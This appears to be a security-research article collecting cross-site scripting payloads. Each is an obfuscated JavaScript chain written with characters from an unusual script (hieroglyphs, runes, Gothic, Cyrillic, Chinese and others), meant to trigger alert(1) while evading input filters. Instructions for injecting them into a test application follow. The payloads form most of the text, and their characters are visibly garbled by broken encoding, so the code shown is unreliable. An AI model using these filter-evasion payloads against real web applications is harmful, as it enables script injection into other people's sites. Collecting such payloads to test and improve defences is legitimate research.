This document extends the collection of XSS payloads by incorporating additional scripts, focusing on dead or unconventional writing systems. Each payload is designed to execute alert(1) in a browser environment while using unique character sets to obfuscate the code. These are intended for educational and security research purposes only. Do not use these payloads in any malicious or unauthorized manner.
Below are new XSS payloads written in various dead or unconventional scripts, each designed to trigger alert(1).
Using Unicode characters for Egyptian hieroglyphs, this payload leverages an ancient script to encode a functional XSS payload.
πΏ='',π
±=!πΏ+πΏ,π³=!π
±+πΏ,π=πΏ+{},π΅=π
±[πΏ++],π΄=π
±[π=πΏ],π―=++π+πΏ,π=π[π+π―],π
±[π+=π[πΏ]+(π
±.π³+π)[πΏ]+π³[π―]+π΅+π΄+π
±[π]+π+π΅+π[πΏ]+π΄][π](π³[πΏ]+π³[π]+π
±[π―]+π΄+π΅+"(πΏ)")()
- Description: Encoded using Egyptian hieroglyphs (Unicode block U+13000βU+1342F), this payload obfuscates JavaScript to execute
alert(1). The use of hieroglyphs makes it highly unconventional and potentially difficult for basic filters to detect.
Ogham is an ancient Irish script (Unicode block U+1680βU+169F) used primarily for Old Irish inscriptions.
α='',α=!α+α,α=!α+α,α=α+{},α=α[α++],α=α[α=α],α=++α+α,α=α[α+α],α[α+=α[α]+(α.α+α)[α]+α[α]+α+α+α[α]+α+α+α[α]+α][α](α[α]+α[α]+α[α]+α+α+"(α)")()
- Description: This payload uses the Ogham alphabet, a script rarely seen in modern contexts, to encode an XSS payload that triggers
alert(1).
Runes, used by Germanic and Scandinavian peoples (Unicode block U+16A0βU+16FF), provide another unconventional script for XSS obfuscation.
α¨='',αΉ=!α¨+α¨,α=!αΉ+α¨,α=α¨+{},α=αΉ[α¨++],α=αΉ[α=α¨],α=++α+α¨,α’=α[α+α],αΉ[α’+=α[α¨]+(αΉ.α+α)[α¨]+α[α]+α+α+αΉ[α]+α’+α+α[α¨]+α][α’](α[α¨]+α[α]+αΉ[α]+α+α+"(α¨)")()
- Description: Written in the Elder Futhark runic alphabet, this payload executes
alert(1)while blending into contexts where runic characters might be overlooked.
Linear B is a syllabic script used for writing Mycenaean Greek (Unicode block U+10000βU+1007F), an ancient and extinct writing system.
π='',π=!π+π,π=!π+π,π=π+{},π=π[π++],π=π[π=π],π=++π+π,π=π[π+π],π[π+=π[π]+(π.π+π)[π]+π[π]+π+π+π[π]+π+π+π[π]+π][π](π[π]+π[π]+π[π]+π+π+"(π)")()
- Description: This payload uses Linear B syllabograms to encode an XSS payload, making it highly obscure and challenging for standard XSS filters.
The Gothic alphabet, used by the Goths in the 4th century (Unicode block U+10330βU+1034F), is another dead script suitable for obfuscation.
π°='',π±=!π°+π°,π²=!π±+π°,π³=π°+{},π΄=π±[π°++],π΅=π±[πΆ=π°],π·=++πΆ+π°,πΈ=π³[πΆ+π·],π±[πΈ+=π³[π°]+(π±.π²+π³)[π°]+π²[π·]+π΄+π΅+π±[πΆ]+πΈ+π΄+π³[π°]+π΅][πΈ](π²[π°]+π²[πΆ]+π±[π·]+π΅+π΄+"(π°)")()
- Description: This payload employs the Gothic alphabet to execute
alert(1), leveraging an extinct script for obfuscation.
The Shavian alphabet (Unicode block U+10450βU+1047F) was created as an alternative script for English in the 1960s, inspired by George Bernard Shaw. It is rarely used today.
π='',π=!π+π,π=!π+π,π=π+{},π=π[π++],π
=π[π=π],π=++π+π,π=π[π+π],π[π+=π[π]+(π.π+π)[π]+π[π]+π+π
+π[π]+π+π+π[π]+π
][π](π[π]+π[π]+π[π]+π
+π+"(π)")()
- Description: This payload uses the Shavian script, an artificial alphabet designed for phonetic English, to encode an XSS payload. Its obscurity makes it unlikely to be recognized by standard XSS filters.
Osmanya (Unicode block U+10480βU+104AF) is a script created in the 1920s for the Somali language, now largely replaced by the Latin alphabet.
π='',π=!π+π,π=!π+π,π=π+{},π=π[π++],π
=π[π=π],π=++π+π,π=π[π+π],π[π+=π[π]+(π.π+π)[π]+π[π]+π+π
+π[π]+π+π+π[π]+π
][π](π[π]+π[π]+π[π]+π
+π+"(π)")()
- Description: This payload uses the Osmanya script, a rare and nearly forgotten writing system, to obfuscate an XSS payload that triggers
alert(1).
Tifinagh (Unicode block U+2D30βU+2D7F) is a script used by the Berber people in North Africa, with modern and ancient variants, but still relatively obscure.
β΄°='',β΄±=!β΄°+β΄°,β΄²=!β΄±+β΄°,β΄³=β΄°+{},β΄΄=β΄±[β΄°++],β΄΅=β΄±[β΄Ά=β΄°],β΄·=++β΄Ά+β΄°,β΄Έ=β΄³[β΄Ά+β΄·],β΄±[β΄Έ+=β΄³[β΄°]+(β΄±.β΄²+β΄³)[β΄°]+β΄²[β΄·]+β΄΄+β΄΅+β΄±[β΄Ά]+β΄Έ+β΄΄+β΄³[β΄°]+β΄΅][β΄Έ](β΄²[β΄°]+β΄²[β΄Ά]+β΄±[β΄·]+β΄΅+β΄΄+"(β΄°)")()
- Description: Using the Tifinagh script, this payload executes
alert(1)while leveraging a script associated with Berber languages, which is uncommon in most web contexts.
Cuneiform (Unicode U+12000βU+123FF) is a script used in ancient Mesopotamia (c. 3000 BCEβ100 CE) for writing Sumerian, Akkadian, and other languages.
π±='',π=!π±+π±,π=!π+π±,π΅=π±+{},πΏ=π[π±++],π
=π[π²=π±],
π=++π²+π±,π»=π΅[π²+π],
π[π»+=π΅[π±]+(π.π+π΅)[π±]+π[π]+πΏ+π
+π[π²]+π»+πΏ+π΅[π±]+π
][π»](π[π±]+π[π²]+π[π]+π
+πΏ+"('π±π²π±π»ππ²ππ«πΏππ
')")()
- Description: This payload uses Cuneiform characters to encode JavaScript that executes alert(1). The scriptβs ancient origins and complex wedge-shaped symbols make it highly obscure, potentially bypassing filters that focus on Latin-based patterns.
Arabic (Unicode U+0600βU+06FF) is a living script used across the Arab world, with origins in the 4th century CE, but still uncommon in XSS contexts.
Ψ¨='',Ψ«=!Ψ¨+Ψ¨,Ψ¬=!Ψ«+Ψ¨,Ψ―=Ψ¨+{},Ω=Ψ«[Ψ¨++],Ω=Ψ«[Ψ²=Ψ¨],Ψ·=++Ψ²+Ψ¨,Ω=Ψ―[Ψ²+Ψ·],Ψ«[Ω+=Ψ―[Ψ¨]+(Ψ«[Ψ¬]+Ψ―)[Ψ¨]+Ψ¬[Ψ·]+Ω+Ω+Ψ«[Ψ²]+Ω+Ω+Ψ―[Ψ¨]+Ω][Ω](Ψ¬[Ψ¨]+Ψ¬[Ψ²]+Ψ«[Ψ·]+Ω+Ω+"(1)")()
- Description: This payload uses Arabic script to execute alert(1). The Arabicβs right-to-left writing and unique letter forms make it a candidate for obfuscation in environments with weak sanitization.
Cyrillic (Unicode U+0400βU+04FF) is a script developed in the First Bulgarian Empire (9th century CE) and used for Slavic languages like Russian.
Π°='',Π±=!Π°+Π°,Π²=!Π±+Π°,Π³=Π°+{},Π΄=Π±[Π°++],Π΅=Π±[ΠΆ=Π°],Π·=++ΠΆ+Π°,ΠΈ=Π³[ΠΆ+Π·],Π±[ΠΈ+=Π³[Π°]+(Π±[Π²]+Π³)[Π°]+Π²[Π·]+Π΄+Π΅+Π±[ΠΆ]+ΠΈ+Π΄+Π³[Π°]+Π΅][ΠΈ](Π²[Π°]+Π²[ΠΆ]+Π±[Π·]+Π΅+Π΄+"(1)")()
- Description: This payload uses Cyrillic characters to execute alert(1). The Cyrillic scriptβs similarity to Latin characters can make it blend into certain contexts, complicating detection
Hiragana (Unicode U+3040βU+309F) is a japanese syllabary developed in the 9th century CE, used alongside Kanji and Katakana.
γ='',γ=!γ+γ,γ=!γ+γ,γ=γ+{},γ=γ[γ++],γ=γ[γ=γ],γ=++γ+γ,γ=γ[γ+γ],γ[γ+=γ[γ]+(γ[γ]+γ)[γ]+γ[γ]+γ+γ+γ[γ]+γ+γ+γ[γ]+γ][γ](γ[γ]+γ[γ]+γ[γ]+γ+γ+"(1)")()
- Description: This payload uses Hiragana characters to execute alert(1). Hiraganaβs syllabic nature and distinct appearance make it an effective choice for XSS obfuscation.
Chinese (Unicode U+4E00βU+9FFF, CJK Unified Ideographs) is a logographic script with origins in the 2nd millennium BCE, used for Chinese and related languages.
η²='',δΉ=!η²+η²,δΈ=!δΉ+η²,δΈ=η²+{},ζ=δΉ[η²++],ε·±=δΉ[εΊ=η²],θΎ=++εΊ+η²,壬=δΈ[εΊ+θΎ],δΉ[壬+=δΈ[η²]+(δΉ[δΈ]+δΈ)[η²]+δΈ[θΎ]+ζ+ε·±+δΉ[εΊ]+壬+ζ+δΈ[η²]+ε·±][壬](δΈ[η²]+δΈ[εΊ]+δΉ[θΎ]+ε·±+ζ+"(1)")()
- Description: This payload uses Chinese ideographs to execute alert(1). The complexity and visual density of Chinese characters make this payload highly obscure for XSS purposes.
These payloads demonstrate how dead and unconventional scripts can be used to encode XSS payloads, highlighting the need for robust input sanitization and output encoding in web applications. They are particularly useful for:
- Testing XSS detection and filtering mechanisms.
- Understanding the challenges of handling non-standard Unicode characters in web security.
- Educating developers and security researchers about creative obfuscation techniques.
To test these payloads:
- Set up a safe environment: Use a local web server, a virtual machine, or a dedicated testing platform to avoid unintended consequences.
- Inject the payload: Place the payload in a vulnerable input field, URL parameter, or other injection point in a test application.
- Verify execution: Check if the payload triggers
alert(1)in the browser, indicating successful execution. - Improve defenses: Use these examples to enhance your application's XSS mitigation strategies, such as implementing strict Content Security Policies (CSP) or advanced Unicode-aware filtering.
Warning: Never test these payloads on systems you do not own or have explicit permission to test. Unauthorized testing is illegal and unethical.
These payloads are provided for educational and research purposes only. Misuse can lead to legal consequences. Always adhere to ethical guidelines and obtain proper authorization before conducting security testing.